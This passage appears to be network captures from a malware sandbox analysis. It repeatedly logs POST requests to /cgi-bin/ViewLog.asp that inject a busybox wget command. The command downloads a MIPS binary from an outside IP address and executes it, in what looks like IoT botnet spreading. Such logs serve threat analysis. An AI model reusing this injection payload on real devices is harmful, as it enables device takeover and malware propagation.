                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.512106895 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                424192.168.2.154854231.136.234.268080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:46.848622084 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.418101072 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:48.538173914 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:50.905988932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:55.514045000 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:04.473670959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:22.649146080 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:59.512109041 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                425192.168.2.155426862.29.64.1348080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:46.940332890 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                426192.168.2.154385894.253.43.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:46.944694996 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:47.178047895 CET391INHTTP/1.1 405 Not Allowed
                                                Server: Web server
                                                Date: Thu, 23 Nov 2023 04:21:46 GMT
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 155
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>Web server</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                427192.168.2.155714662.171.133.1318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.412307978 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                428192.168.2.153343231.11.143.978080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.416357994 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:49.634103060 CET246INHTTP/1.1 301 Moved Permanently
                                                Location: https://192.168.0.14/cgi-bin/ViewLog.asp
                                                Content-Length: 0
                                                Connection: close
                                                Date: Thu, 23 Nov 2023 04:21:48 GMT
                                                Server: WebServer


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                429192.168.2.154564231.10.202.308080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.419924974 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:49.641109943 CET668INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 431
                                                Date: Thu, 23 Nov 2023 04:21:48 GMT
                                                Keep-Alive: timeout=5
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                430192.168.2.155787694.197.48.2508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.467621088 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                431192.168.2.155843662.29.3.1498080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.512653112 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                432192.168.2.155621494.120.52.2398080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.642806053 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                433192.168.2.155975494.122.72.818080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.643131971 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                434192.168.2.153336294.120.170.1838080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.644339085 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                435192.168.2.154312094.121.108.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.649924994 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                436192.168.2.153637294.120.173.2018080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.691122055 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                437192.168.2.154436094.122.82.1078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:49.691610098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                438192.168.2.154316494.122.222.1708080
